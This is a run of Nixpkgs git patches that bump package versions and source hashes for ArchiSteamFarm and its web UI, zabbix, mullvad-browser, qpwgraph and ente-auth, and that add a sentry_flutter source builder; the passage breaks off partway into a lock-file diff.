-    "version": "3.0.0-beta.54",
-    "hash": "sha256-rcCMfEmpjuUTF5rOG0mAoq8JtV5Rk4QNxAvaW+TD9O4="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-WwcEnOxByumQ+C4JbyNMWoGwbdfFkcagCqzsA1C+NLQ="
   },
   {
     "pname": "Humanizer.Core.zh-CN",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-fh4CRrhOAkuY89dtwHCkbclG8AxjizRQSJCLJvpRGyo="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-wO6VmvPVAo1sIXH5A8O3qMG0KXtl3odD4RM4saioMSU="
   },
   {
     "pname": "Humanizer.Core.zh-Hans",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-0BXsdNBRWTqaloHdCCpVjAyU9IHz5FtweHjqvzpwW4Q="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-SjsgFJeB1m4p0J3TnOLdU7IEsSygh8/rIcYKcVl3ukQ="
   },
   {
     "pname": "Humanizer.Core.zh-Hant",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-lemSDWy2Jz6gg8+ObqC3uyw846yghzmVUeakNZj7prg="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-nJm/yE6j3eRPLzQxD9AZaZC+P4cidSR6XEsuTDBV/Dw="
   },
   {
     "pname": "JetBrains.Annotations",
@@ -276,18 +276,18 @@
   },
   {
     "pname": "Markdig.Signed",
-    "version": "0.41.0",
-    "hash": "sha256-fFAfiC6UVrirA/I11urHK4z08iF96Rkez/3HtTmleDs="
+    "version": "0.41.1",
+    "hash": "sha256-A8dOAwZ9hMVPk8xZBaJOo0gu5Z01JQZiz0uZbIZA2eU="
   },
   {
     "pname": "Microsoft.ApplicationInsights",
-    "version": "2.22.0",
-    "hash": "sha256-mUQ63atpT00r49ca50uZu2YCiLg3yd6r3HzTryqcuEA="
+    "version": "2.23.0",
+    "hash": "sha256-5sf3bg7CZZjHseK+F3foOchEhmVeioePxMZVvS6Rjb0="
   },
   {
     "pname": "Microsoft.AspNetCore.OpenApi",
-    "version": "9.0.4",
-    "hash": "sha256-TGyUwcxFsEDYvOTj+GBmhbkkb2vqe3Ver1Y8AqP7/x8="
+    "version": "9.0.5",
+    "hash": "sha256-v2T37X1dm/NG0ZJWk6cXB9lf8tOc6JI4uxFPqmV7ne0="
   },
   {
     "pname": "Microsoft.Bcl.AsyncInterfaces",
@@ -296,8 +296,8 @@
   },
   {
     "pname": "Microsoft.CodeAnalysis.ResxSourceGenerator",
-    "version": "3.11.0-beta1.25123.3",
-    "hash": "sha256-FcW0EmA3dJfuV/rStaq47uSUkXV6jlmY1HCbvhpRbL4="
+    "version": "3.11.0-beta1.25173.3",
+    "hash": "sha256-AB7O5x6MmQ7lgPx8W8fYyOkEDnsxSoHjgpawV3/CGEc="
   },
   {
     "pname": "Microsoft.CodeCoverage",
@@ -344,11 +344,6 @@
     "version": "8.0.0",
     "hash": "sha256-75KzEGWjbRELczJpCiJub+ltNUMMbz5A/1KQU+5dgP8="
   },
-  {
-    "pname": "Microsoft.Extensions.DependencyInjection.Abstractions",
-    "version": "8.0.2",
-    "hash": "sha256-UfLfEQAkXxDaVPC7foE/J3FVEXd31Pu6uQIhTic3JgY="
-  },
   {
     "pname": "Microsoft.Extensions.DependencyInjection.Abstractions",
     "version": "9.0.0",
@@ -356,8 +351,8 @@
   },
   {
     "pname": "Microsoft.Extensions.DependencyModel",
-    "version": "6.0.1",
-    "hash": "sha256-ArXJ7mfSywrfif29cfkeaXL1s0soZSi+RZgAimukqNw="
+    "version": "6.0.2",
+    "hash": "sha256-WVM/gshGie1J9q5l3YWRzrPWYlVvX6ISI+SiVMoPp5o="
   },
   {
     "pname": "Microsoft.Extensions.Diagnostics.Abstractions",
@@ -394,11 +389,6 @@
     "version": "8.0.0",
     "hash": "sha256-Jmddjeg8U5S+iBTwRlVAVLeIHxc4yrrNgqVMOB7EjM4="
   },
-  {
-    "pname": "Microsoft.Extensions.Logging.Abstractions",
-    "version": "8.0.2",
-    "hash": "sha256-cHpe8X2BgYa5DzulZfq24rg8O2K5Lmq2OiLhoyAVgJc="
-  },
   {
     "pname": "Microsoft.Extensions.Logging.Abstractions",
     "version": "9.0.0",
@@ -441,23 +431,23 @@
   },
   {
     "pname": "Microsoft.IdentityModel.Abstractions",
-    "version": "8.8.0",
-    "hash": "sha256-UwRAN/yuGF5vss7vDHIxlLjn0kKGVPmN5ga3GQP2TF0="
+    "version": "8.11.0",
+    "hash": "sha256-qTBsPDE2FD/JA/n7P9g5FQPu7whUyX1X2HS62StxfLM="
   },
   {
     "pname": "Microsoft.IdentityModel.JsonWebTokens",
-    "version": "8.8.0",
-    "hash": "sha256-9eMcoTMyWb+4ZLxGxwa2BSQG1/nYR5TwLvuivXXsOjU="
+    "version": "8.11.0",
+    "hash": "sha256-JayQNiEiMsvpoAM993VNfJOyAYkatRoFBuLO+ZBzBGo="
   },
   {
     "pname": "Microsoft.IdentityModel.Logging",
-    "version": "8.8.0",
-    "hash": "sha256-uKsTmgcGgjxAIIWt03XU0ecL5Zpdu2lcI7cIbyWDxtM="
+    "version": "8.11.0",
+    "hash": "sha256-aBJSBytPxw+t68O94B8Sj+PjtBi9c2Csy5x7xyVV4m8="
   },
   {
     "pname": "Microsoft.IdentityModel.Tokens",
-    "version": "8.8.0",
-    "hash": "sha256-MSChrqqB6LtJzhX5hSvdokHmZhlN05g2aK6CT1By8E8="
+    "version": "8.11.0",
+    "hash": "sha256-9sg63wXOJa2HrQBsC3w0vXsWww7FvCnjrtoaf7OsyuA="
   },
   {
     "pname": "Microsoft.NET.Test.Sdk",
@@ -476,43 +466,48 @@
   },
   {
     "pname": "Microsoft.Testing.Extensions.CodeCoverage",
-    "version": "17.13.1",
-    "hash": "sha256-m74V71udgx4OZScpfyVeA0Oj5JKIvdU1W5wzXyeUHLQ="
+    "version": "17.14.2",
+    "hash": "sha256-sWmVaw72mtdUAi/xGNd/MSOVDxs6vlH0xC7g4Pr7oik="
   },
   {
     "pname": "Microsoft.Testing.Extensions.Telemetry",
-    "version": "1.6.3",
-    "hash": "sha256-DVwTXRoWHt8Ybfz1gv/TzmX6VfxaUp9lGghDEoby0dg="
+    "version": "1.7.1",
+    "hash": "sha256-HpIgMY0LRyeeipkW+rjhsqZnso3bWUTP5GZ4EJfkR0w="
   },
   {
     "pname": "Microsoft.Testing.Extensions.TrxReport",
-    "version": "1.6.3",
-    "hash": "sha256-RX5m9VaXaAnmxQces8Knru7r4iHEC+EZMB0KYeXCcrc="
+    "version": "1.7.1",
+    "hash": "sha256-LrNo9GKe7cFL7JXKU4h1jpiGxp5465MRJFWhErfOYOs="
   },
   {
     "pname": "Microsoft.Testing.Extensions.TrxReport.Abstractions",
-    "version": "1.6.3",
-    "hash": "sha256-gv7aCP029oku6xwYKclY5hI+ewShrk4tVFbDEND4FJI="
+    "version": "1.7.1",
+    "hash": "sha256-zaDOAoEA4CF6/7rXLBO5f5d8PpcqB7hKlwdEWzaFsNk="
   },
   {
     "pname": "Microsoft.Testing.Extensions.VSTestBridge",
-    "version": "1.6.3",
-    "hash": "sha256-4FTZCHdI9WZwd3ejeFCVbx5O0UWLJwKJc6NduUQu0XE="
+    "version": "1.7.1",
+    "hash": "sha256-6o3qqXK6dxybHybl2k/aY2flxPc2z/1VQMWQPm2Ns0g="
   },
   {
     "pname": "Microsoft.Testing.Platform",
-    "version": "1.4.3",
-    "hash": "sha256-KqB3+uBGl0edpaGl6Qykubb3OrVTs6IcPWc59UQ/Iww="
+    "version": "1.6.2",
+    "hash": "sha256-RfdgATa3aTYLpGfv8ORI5uEP8dH87L5/gBDkxAG6ho4="
   },
   {
     "pname": "Microsoft.Testing.Platform",
-    "version": "1.6.3",
-    "hash": "sha256-WJD2zC0b1jU5DRAFG3XmHiQJKdKnjDQB3xbdRmv8V9Q="
+    "version": "1.7.1",
+    "hash": "sha256-YJ41q1VXvFZh/TWo3tutGQnhNCrxv/QbDLTxCS4b/w4="
   },
   {
     "pname": "Microsoft.Testing.Platform.MSBuild",
-    "version": "1.6.3",
-    "hash": "sha256-JK8l4K4uSO6mgsZ6Lo/Sv4VjaLGZjD5g/oZYy0iAYDs="
+    "version": "1.7.1",
+    "hash": "sha256-j/JO5dVIHWTbUO12ZZJdQ5CB2TcBqGfZTcmVFuT3nyA="
+  },
+  {
+    "pname": "Microsoft.TestPlatform.AdapterUtilities",
+    "version": "17.13.0",
+    "hash": "sha256-Vr+3Tad/h/nk7f/5HMExn3HvCGFCarehFAzJSfCBaOc="
   },
   {
     "pname": "Microsoft.TestPlatform.ObjectModel",
@@ -531,34 +526,29 @@
   },
   {
     "pname": "MSTest",
-    "version": "3.8.3",
-    "hash": "sha256-Y9cVTLCQjO6j/P7Dq4/zWrF7EsVgQVnDTs5otXHzGkM="
+    "version": "3.9.1",
+    "hash": "sha256-7gpZKkbGRA4kjUMHrE5pgM3jQhzYQxO3RB5OfDz0Ed4="
   },
   {
     "pname": "MSTest.Analyzers",
-    "version": "3.8.3",
-    "hash": "sha256-/Nf6E5zQib741BKu4IwRBz36lW9+krWLy2904MT3O1M="
+    "version": "3.9.1",
+    "hash": "sha256-jr5UOnoX2mHFjMgo/e//4Fi736mkaYj6ChFuwP8jC2w="
   },
   {
     "pname": "MSTest.TestAdapter",
-    "version": "3.8.3",
-    "hash": "sha256-pBfg41vnc9z1W2uMuXRUnulGycyXJpBATsBHEiOi9mg="
+    "version": "3.9.1",
+    "hash": "sha256-nlX47U5Yxds0BXJtwWtMPY+HbEFO8TRr7yC+GS1laxU="
   },
   {
     "pname": "MSTest.TestFramework",
-    "version": "3.8.3",
-    "hash": "sha256-3dhd6vk2KdMwe+JNSoUZZ4+P04jPKBl3HTuc9ZXBTlw="
+    "version": "3.9.1",
+    "hash": "sha256-ORwTveV9nPnx4s9av8EFt8MQ4G0pF9M8Ped/ibZXvG4="
   },
   {
     "pname": "Newtonsoft.Json",
     "version": "13.0.1",
     "hash": "sha256-K2tSVW4n4beRPzPu3rlVaBEMdGvWSv/3Q1fxaDh4Mjo="
   },
-  {
-    "pname": "Newtonsoft.Json",
-    "version": "13.0.3",
-    "hash": "sha256-hy/BieY4qxBWVVsDqqOPaLy1QobiIapkbrESm6v2PHc="
-  },
   {
     "pname": "Nito.AsyncEx.Coordination",
     "version": "5.1.2",
@@ -581,23 +571,23 @@
   },
   {
     "pname": "NLog",
-    "version": "5.4.0",
-    "hash": "sha256-l2R0UHHCL02KPMC96e62AL2ONFD0PAty619y9UnD25A="
+    "version": "5.5.0",
+    "hash": "sha256-WkuKGo3iEqJruQuRZXMksqIbAQjZbFIANcm0zZr/fYE="
   },
   {
     "pname": "NLog.Extensions.Logging",
-    "version": "5.4.0",
-    "hash": "sha256-9pVBguAKnjmbtKM3wBVBEzovXkoEXgqvB4IhiayAkVo="
+    "version": "5.5.0",
+    "hash": "sha256-gdhJP9V5lDHgRS8gpFDgW6CkkLKo+tACCqPvERLaZ68="
   },
   {
     "pname": "NLog.Web.AspNetCore",
-    "version": "5.4.0",
-    "hash": "sha256-tDCsOqYNVg+dNBk85HjNgbZuQwMgGPIdsMqoPhhPROk="
+    "version": "5.5.0",
+    "hash": "sha256-1n8wzNMBIVoLjDlFUyNO7lsunz6E8LlBHpokDFrLjA8="
   },
   {
     "pname": "OpenTelemetry",
-    "version": "1.11.2",
-    "hash": "sha256-sQAmDGH6rQSYWNCaqgyP7qWdDciAh+IKHf4IXFwuMq4="
+    "version": "1.12.0",
+    "hash": "sha256-WqUAXbwHyoksigzEgYnHNONl2TLd0ZM5MJ6jDsbYxas="
   },
   {
     "pname": "OpenTelemetry",
@@ -606,13 +596,13 @@
   },
   {
     "pname": "OpenTelemetry.Api",
-    "version": "1.11.2",
-    "hash": "sha256-LfsXbTxVR8f524bvIsIbLtQYxOtun4Bm3Me6IpxbvOw="
+    "version": "1.12.0",
+    "hash": "sha256-nw7Y84b98RFoL9eHip2Moz5sLHt3cDUDznYZLu3OCXU="
   },
   {
     "pname": "OpenTelemetry.Api.ProviderBuilderExtensions",
-    "version": "1.11.2",
-    "hash": "sha256-p6moAb53XhkKlZ5LAy3RXPFtYFUqtOidyKJg6xzagRY="
+    "version": "1.12.0",
+    "hash": "sha256-HW5lCuHZgkh0SO94cJLcjfX3M0dJDV0xJIRV2pY0jXc="
   },
   {
     "pname": "OpenTelemetry.Api.ProviderBuilderExtensions",
@@ -626,23 +616,23 @@
   },
   {
     "pname": "OpenTelemetry.Extensions.Hosting",
-    "version": "1.11.2",
-    "hash": "sha256-z2o0gfQSZKrRDJfKrs70jmJaK3/oTqW+LSD/b+alF78="
+    "version": "1.12.0",
+    "hash": "sha256-TbZ0XXPWa84m9810x7XQmxccWZmGnE8PM4rwG+88dmg="
   },
   {
     "pname": "OpenTelemetry.Instrumentation.AspNetCore",
-    "version": "1.11.1",
-    "hash": "sha256-aTXVd+zdEMJFNdRDGg01PyP4vhpDl9tpTm5GlQ2oTxU="
+    "version": "1.12.0",
+    "hash": "sha256-38FaYhE33hu053RJq0pdlsCQScDU6cwONWX2UAFJeWM="
   },
   {
     "pname": "OpenTelemetry.Instrumentation.Http",
-    "version": "1.11.1",
-    "hash": "sha256-9bqehwixulMrjXt/ZFEosHLt6CIikLzzrdHFP5gNbzo="
+    "version": "1.12.0",
+    "hash": "sha256-3OVK3iC4k1KXwEZ4OsVJYwldQqzq6YuxL61oY7aaenE="
   },
   {
     "pname": "OpenTelemetry.Instrumentation.Runtime",
-    "version": "1.11.1",
-    "hash": "sha256-ssHSQx/O590o/25vy+BB4KH1ChIVzQjDnwW2LnGlkm0="
+    "version": "1.12.0",
+    "hash": "sha256-aGKGcW6Cb2MS64oLG+aZVNRle3YUtAcopSbYQ2Z51PE="
   },
   {
     "pname": "protobuf-net",
@@ -656,13 +646,13 @@
   },
   {
     "pname": "Scalar.AspNetCore",
-    "version": "2.2.1",
-    "hash": "sha256-dnxwn7KG02ko7QWSXf5xclfQSDg1OhqlnaWD6Le0Yfk="
+    "version": "2.4.4",
+    "hash": "sha256-MyNRQMFXIRf6znM3SL3P+Z8jO+3Q5i23TDQuG+ZUcTY="
   },
   {
     "pname": "SteamKit2",
-    "version": "3.1.0",
-    "hash": "sha256-Lpz0OQrKQW0AMrt9wvK4tO/NjJdHvXvlt+jitKrphVA="
+    "version": "3.2.0",
+    "hash": "sha256-hB/36fP9kf+1mIx+hTELUMHe8ZkmSKxOK41ZzOaBa3E="
   },
   {
     "pname": "System.Buffers",
@@ -681,33 +671,33 @@
   },
   {
     "pname": "System.Composition",
-    "version": "9.0.4",
-    "hash": "sha256-Ec1PdqzxQOaNsnonimmpyq5f5+Wa+lvWdR0Je3/a2OI="
+    "version": "9.0.5",
+    "hash": "sha256-Y8MPR8xot93lo4jAgVJ101M+JN973CpvOlCSYUK7wxc="
   },
   {
     "pname": "System.Composition.AttributedModel",
-    "version": "9.0.4",
-    "hash": "sha256-r71EJF5F5ZjAgkuvcI00tAnnIrK+IQ5Wj7wU8MwwRRQ="
+    "version": "9.0.5",
+    "hash": "sha256-CkqRwQGCRteSmN+nRF0rm8wGf2QA7gfqsVF8lBTg9EE="
   },
   {
     "pname": "System.Composition.Convention",
-    "version": "9.0.4",
-    "hash": "sha256-BfLOq0FSx1QVfT2mqcqU/nfvgIJA+tf3Ng0CxHx1GG4="
+    "version": "9.0.5",
+    "hash": "sha256-iaSaDpiep+8dthACDpgN0GJ5jRqLVzCVEKNOHUuy3/0="
   },
   {
     "pname": "System.Composition.Hosting",
-    "version": "9.0.4",
-    "hash": "sha256-+ep0Y2ptrKsb3JlArfhKndUuoBVrS1f59okbdKRKVYQ="
+    "version": "9.0.5",
+    "hash": "sha256-P98I/5Vs08bDObpicSzHXigXiadJA5uIKqd78WABU40="
   },
   {
     "pname": "System.Composition.Runtime",
-    "version": "9.0.4",
-    "hash": "sha256-ztqnugik7Ye70YDQGvgPWfovFbHZ2R2tFSWZf8IGcMM="
+    "version": "9.0.5",
+    "hash": "sha256-o4yiU61i6X2Tn20pUrf/psESngE/nGHTlJSe4S7qIQ0="
   },
   {
     "pname": "System.Composition.TypedParts",
-    "version": "9.0.4",
-    "hash": "sha256-WFw1we/U8o14HNXwwVW4lggCpekb2c/ptpO8LbWYBr8="
+    "version": "9.0.5",
+    "hash": "sha256-+09hA4PfsR9BLHkV1aadh8Jx10AwcFrG+49U0vMATPU="
   },
   {
     "pname": "System.Diagnostics.DiagnosticSource",
@@ -734,11 +724,6 @@
     "version": "4.5.4",
     "hash": "sha256-3sCEfzO4gj5CYGctl9ZXQRRhwAraMQfse7yzKoRe65E="
   },
-  {
-    "pname": "System.Memory",
-    "version": "4.5.5",
-    "hash": "sha256-EPQ9o1Kin7KzGI5O3U3PUQAZTItSbk9h/i4rViN3WiI="
-  },
   {
     "pname": "System.Reflection.Metadata",
     "version": "1.6.0",
@@ -761,8 +746,8 @@
   },
   {
     "pname": "System.Security.Cryptography.ProtectedData",
-    "version": "9.0.4",
-    "hash": "sha256-VSlwaKi5WU6J0LYVh/hFfZuSkCG4V99MH2iLwspTrYA="
+    "version": "9.0.5",
+    "hash": "sha256-Ed2Ea4ssYYHBBeFs0Vva+G8lEF5VFcm+DWJl/xi7arY="
   },
   {
     "pname": "System.Security.Principal.Windows",
@@ -771,17 +756,17 @@
   },
   {
     "pname": "System.Text.Encodings.Web",
-    "version": "6.0.0",
-    "hash": "sha256-UemDHGFoQIG7ObQwRluhVf6AgtQikfHEoPLC6gbFyRo="
+    "version": "6.0.1",
+    "hash": "sha256-l3oKwZStjew/ClSrDaVLyHDAExoP6Iwm6uqJSdI9YJo="
   },
   {
     "pname": "System.Text.Json",
-    "version": "6.0.10",
-    "hash": "sha256-UijYh0dxFjFinMPSTJob96oaRkNm+Wsa+7Ffg6mRnsc="
+    "version": "6.0.11",
+    "hash": "sha256-KsgOU3RvSN/Kc+my45K0eua4owQPZar81LVF2Kzupf0="
   },
   {
-    "pname": "System.ValueTuple",
-    "version": "4.5.0",
-    "hash": "sha256-niH6l2fU52vAzuBlwdQMw0OEoRS/7E1w5smBFoqSaAI="
+    "pname": "ZstdSharp.Port",
+    "version": "0.8.5",
+    "hash": "sha256-+UQFeU64md0LlSf9nMXif6hHnfYEKm+WRyYd0Vo2QvI="
   }
 ]
diff --git a/pkgs/applications/misc/ArchiSteamFarm/web-ui/default.nix b/pkgs/applications/misc/ArchiSteamFarm/web-ui/default.nix
index a5119a758495..059051c06594 100644
--- a/pkgs/applications/misc/ArchiSteamFarm/web-ui/default.nix
+++ b/pkgs/applications/misc/ArchiSteamFarm/web-ui/default.nix
@@ -7,7 +7,7 @@
 
 buildNpmPackage rec {
   pname = "asf-ui";
-  version = "6f0393c091d04ecb69dff790f6146cc375b71268";
+  version = "9920764dafb0a7a87c355d9c87aff285e41494be";
 
   src = fetchFromGitHub {
     owner = "JustArchiNET";
@@ -15,10 +15,10 @@ buildNpmPackage rec {
     # updated by the update script
     # this is always the commit that should be used with asf-ui from the latest asf version
     rev = version;
-    hash = "sha256-Mj7ubIB84gCE/Y3ZzISQ4coGLGZfg4curuBYQdRWiUY=";
+    hash = "sha256-w4pYFCdJiHocy41az4/tjWdBwAdI68RV/N8I0Onsofg=";
   };
 
-  npmDepsHash = "sha256-b5L1Lcmehv8aheFaYp0iPyNhwekOiq8J4rVaE4/Oqj4=";
+  npmDepsHash = "sha256-V9u+n4CTB+BU0zeiB8vLpFkI2VJGArU6WL+PFfi624M=";
 
   installPhase = ''
     runHook preInstall

From 20605819d35e9b85de9a1179386aea12c1b7c664 Mon Sep 17 00:00:00 2001
From: bstanderline <153822813+bstanderline@users.noreply.github.com>
Date: Tue, 20 May 2025 16:13:42 +0100
Subject: [PATCH 0537/4511] zabbix70: 7.0.12 -> 7.0.13

(cherry picked from commit 1b4bcf24b59d90bc11318b24e3edd0c86f2abb58)
---
 pkgs/servers/monitoring/zabbix/versions.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/monitoring/zabbix/versions.nix b/pkgs/servers/monitoring/zabbix/versions.nix
index 34ad087497dd..4cd732fe12b4 100644
--- a/pkgs/servers/monitoring/zabbix/versions.nix
+++ b/pkgs/servers/monitoring/zabbix/versions.nix
@@ -4,8 +4,8 @@ generic: {
     hash = "sha256-DQGzk90isqYLNvs3qY/PEIHGg62Ygyot3YeUOhIAg54=";
   };
   v70 = generic {
-    version = "7.0.12";
-    hash = "sha256-YGntYEql4z/mMczGi3gmVKaXBxlSoc82UVFlWgoSKwU=";
+    version = "7.0.13";
+    hash = "sha256-2e9/HPsL3lZY2rsigIIPnOHPMyV/rHn0DwM3Org60Xw=";
   };
   v60 = generic {
     version = "6.0.36";

From 4f32f200fa439bbf1d1848dd240e4066520fb7ec Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Felix=20Schr=C3=B6ter?= <dev@felschr.com>
Date: Mon, 2 Jun 2025 21:24:29 +0200
Subject: [PATCH 0538/4511] mullvad-browser: 14.5.2 -> 14.5.3

https://github.com/mullvad/mullvad-browser/releases/tag/14.5.3
(cherry picked from commit 5309622f97ce9497b67e1f876035021ff4cf9ed7)
---
 pkgs/by-name/mu/mullvad-browser/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/mu/mullvad-browser/package.nix b/pkgs/by-name/mu/mullvad-browser/package.nix
index 5fd46fbf8d97..879c487038f3 100644
--- a/pkgs/by-name/mu/mullvad-browser/package.nix
+++ b/pkgs/by-name/mu/mullvad-browser/package.nix
@@ -97,7 +97,7 @@ let
     ++ lib.optionals mediaSupport [ ffmpeg ]
   );
 
-  version = "14.5.2";
+  version = "14.5.3";
 
   sources = {
     x86_64-linux = fetchurl {
@@ -109,7 +109,7 @@ let
         "https://tor.eff.org/dist/mullvadbrowser/${version}/mullvad-browser-linux-x86_64-${version}.tar.xz"
         "https://tor.calyxinstitute.org/dist/mullvadbrowser/${version}/mullvad-browser-linux-x86_64-${version}.tar.xz"
       ];
-      hash = "sha256-LyvrlsL/dLgoa94+JEuzbxeEl0n61ry2BcD5BlGV0sE=";
+      hash = "sha256-W005Lkgw96sYseB8LBE76b7+RxMC5vNb1+3KrDp8IE0=";
     };
   };
 

From 15d894dc8dbf4e565ccfcbb9926b43a263e2917a Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 3 Jun 2025 13:19:06 +0000
Subject: [PATCH 0539/4511] qpwgraph: 0.9.2 -> 0.9.3

(cherry picked from commit 9d3368c4b1ed900d13069d0afc2c29d5c5b2471e)
---
 pkgs/applications/audio/qpwgraph/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/audio/qpwgraph/default.nix b/pkgs/applications/audio/qpwgraph/default.nix
index d221a81617ac..31295e4d3071 100644
--- a/pkgs/applications/audio/qpwgraph/default.nix
+++ b/pkgs/applications/audio/qpwgraph/default.nix
@@ -14,14 +14,14 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "qpwgraph";
-  version = "0.9.2";
+  version = "0.9.3";
 
   src = fetchFromGitLab {
     domain = "gitlab.freedesktop.org";
     owner = "rncbc";
     repo = "qpwgraph";
     rev = "v${finalAttrs.version}";
-    sha256 = "sha256-SCco66Czu8dW7iSSX/exhIlOXS+ayCwGUuCfJuUCRjM=";
+    sha256 = "sha256-6aJymZjuUMezEbOosveXyiY7y+XgGk3E8Dd4tb8UyrU=";
   };
 
   nativeBuildInputs = [

From 3199cc138a2d50e4137ee81dd61e69ef144d9a00 Mon Sep 17 00:00:00 2001
From: emaryn <emaryn@users.noreply.github.com>
Date: Mon, 19 May 2025 16:35:01 +0800
Subject: [PATCH 0540/4511] dart.sentry_flutter: init

(cherry picked from commit 98a66261fe3523e0c2dd1f8cc03bf5304976ebf0)
---
 .../dart/package-source-builders/default.nix  |  1 +
 .../sentry_flutter/default.nix                | 33 +++++++++++++++++++
 2 files changed, 34 insertions(+)
 create mode 100644 pkgs/development/compilers/dart/package-source-builders/sentry_flutter/default.nix

diff --git a/pkgs/development/compilers/dart/package-source-builders/default.nix b/pkgs/development/compilers/dart/package-source-builders/default.nix
index 5197224788ef..687ce7d90b31 100644
--- a/pkgs/development/compilers/dart/package-source-builders/default.nix
+++ b/pkgs/development/compilers/dart/package-source-builders/default.nix
@@ -16,6 +16,7 @@
   pdfrx = callPackage ./pdfrx { };
   printing = callPackage ./printing { };
   rhttp = callPackage ./rhttp { };
+  sentry_flutter = callPackage ./sentry_flutter { };
   sqlcipher_flutter_libs = callPackage ./sqlcipher_flutter_libs { };
   sqlite3 = callPackage ./sqlite3 { };
   sqlite3_flutter_libs = callPackage ./sqlite3_flutter_libs { };
diff --git a/pkgs/development/compilers/dart/package-source-builders/sentry_flutter/default.nix b/pkgs/development/compilers/dart/package-source-builders/sentry_flutter/default.nix
new file mode 100644
index 000000000000..dec8882e59d0
--- /dev/null
+++ b/pkgs/development/compilers/dart/package-source-builders/sentry_flutter/default.nix
@@ -0,0 +1,33 @@
+{
+  stdenv,
+  fetchFromGitHub,
+}:
+
+{ version, src, ... }:
+
+let
+  sentry-native = fetchFromGitHub {
+    owner = "getsentry";
+    repo = "sentry-native";
+    tag = "0.8.4";
+    hash = "sha256-0NLxu+aelp36m3ocPhyYz3LDeq310fkyu8WSpZML3Pc=";
+  };
+in
+stdenv.mkDerivation (finalAttrs: {
+  pname = "sentry_flutter";
+  inherit version src;
+  inherit (src) passthru;
+
+  postPatch = ''
+    sed -i "s|GIT_REPOSITORY.*|SOURCE_DIR "${sentry-native}"|" sentry-native/sentry-native.cmake
+    sed -i '/GIT_TAG/d' sentry-native/sentry-native.cmake
+  '';
+
+  installPhase = ''
+    runHook preInstall
+
+    cp -r . $out
+
+    runHook postInstall
+  '';
+})

From a8af2a03e3be3566fbb998f2b69ff4949852af26 Mon Sep 17 00:00:00 2001
From: emaryn <emaryn@users.noreply.github.com>
Date: Mon, 26 May 2025 05:54:59 +0800
Subject: [PATCH 0541/4511] dart.sentry_flutter: fix

(cherry picked from commit 507024d6f9ce5993ed2e957661876a190e23c42f)
---
 .../dart/package-source-builders/sentry_flutter/default.nix    | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/pkgs/development/compilers/dart/package-source-builders/sentry_flutter/default.nix b/pkgs/development/compilers/dart/package-source-builders/sentry_flutter/default.nix
index dec8882e59d0..11a2f3c6ad6b 100644
--- a/pkgs/development/compilers/dart/package-source-builders/sentry_flutter/default.nix
+++ b/pkgs/development/compilers/dart/package-source-builders/sentry_flutter/default.nix
@@ -1,4 +1,5 @@
 {
+  lib,
   stdenv,
   fetchFromGitHub,
 }:
@@ -18,7 +19,7 @@ stdenv.mkDerivation (finalAttrs: {
   inherit version src;
   inherit (src) passthru;
 
-  postPatch = ''
+  postPatch = lib.optionalString (lib.versionAtLeast version "8.10.0") ''
     sed -i "s|GIT_REPOSITORY.*|SOURCE_DIR "${sentry-native}"|" sentry-native/sentry-native.cmake
     sed -i '/GIT_TAG/d' sentry-native/sentry-native.cmake
   '';

From 596bff7a2a9127f1809eef8bbb7fc186172dde1f Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 1 Jun 2025 13:37:49 +0000
Subject: [PATCH 0542/4511] ente-auth: 4.3.5 -> 4.3.6

(cherry picked from commit 24f99aa552007a3ae0748f80bf51c37e21ec9d3b)
---
 pkgs/by-name/en/ente-auth/git-hashes.json   |   1 -
 pkgs/by-name/en/ente-auth/package.nix       |   4 +-
 pkgs/by-name/en/ente-auth/pubspec.lock.json | 111 ++++++++++----------
 3 files changed, 57 insertions(+), 59 deletions(-)

diff --git a/pkgs/by-name/en/ente-auth/git-hashes.json b/pkgs/by-name/en/ente-auth/git-hashes.json
index ff429e3de18f..00eb4fd6c67e 100644
--- a/pkgs/by-name/en/ente-auth/git-hashes.json
+++ b/pkgs/by-name/en/ente-auth/git-hashes.json
@@ -1,6 +1,5 @@
 {
   "ente_crypto_dart": "sha256-xBBK9BdXh4+OTj+Jkf3zh5sMZjXtvhyuE1R5LFE8iTY=",
   "flutter_local_authentication": "sha256-r50jr+81ho+7q2PWHLf4VnvNJmhiARZ3s4HUpThCgc0=",
-  "flutter_secure_storage_linux": "sha256-Rp+b6ZRH7F5AnM5UvYzfVjprXkpeeA7V6Ep/oYqDeiM=",
   "sqflite": "sha256-+XTVtkFJ94VifwnutvUuAqqiyWwrcEiZ3Uz0H4D9zWA="
 }
diff --git a/pkgs/by-name/en/ente-auth/package.nix b/pkgs/by-name/en/ente-auth/package.nix
index f5531a2fedbd..844fa3b17676 100644
--- a/pkgs/by-name/en/ente-auth/package.nix
+++ b/pkgs/by-name/en/ente-auth/package.nix
@@ -18,14 +18,14 @@ let
 in
 flutter324.buildFlutterApplication rec {
   pname = "ente-auth";
-  version = "4.3.5";
+  version = "4.3.6";
 
   src = fetchFromGitHub {
     owner = "ente-io";
     repo = "ente";
     sparseCheckout = [ "auth" ];
     tag = "auth-v${version}";
-    hash = "sha256-kM1y3Q5Z8J84qHhki9A+I/uY7xYQNMlfh2ZhxzpUBHM=";
+    hash = "sha256-6S0sgxiPrakqtQ/KoEKR10yWxOk6Rs5MOHjFZXkAbcg=";
   };
 
   sourceRoot = "${src.name}/auth";
diff --git a/pkgs/by-name/en/ente-auth/pubspec.lock.json b/pkgs/by-name/en/ente-auth/pubspec.lock.json
index 7656e78bcddf..05c9729383a4 100644
--- a/pkgs/by-name/en/ente-auth/pubspec.lock.json
+++ b/pkgs/by-name/en/ente-auth/pubspec.lock.json
@@ -4,17 +4,17 @@
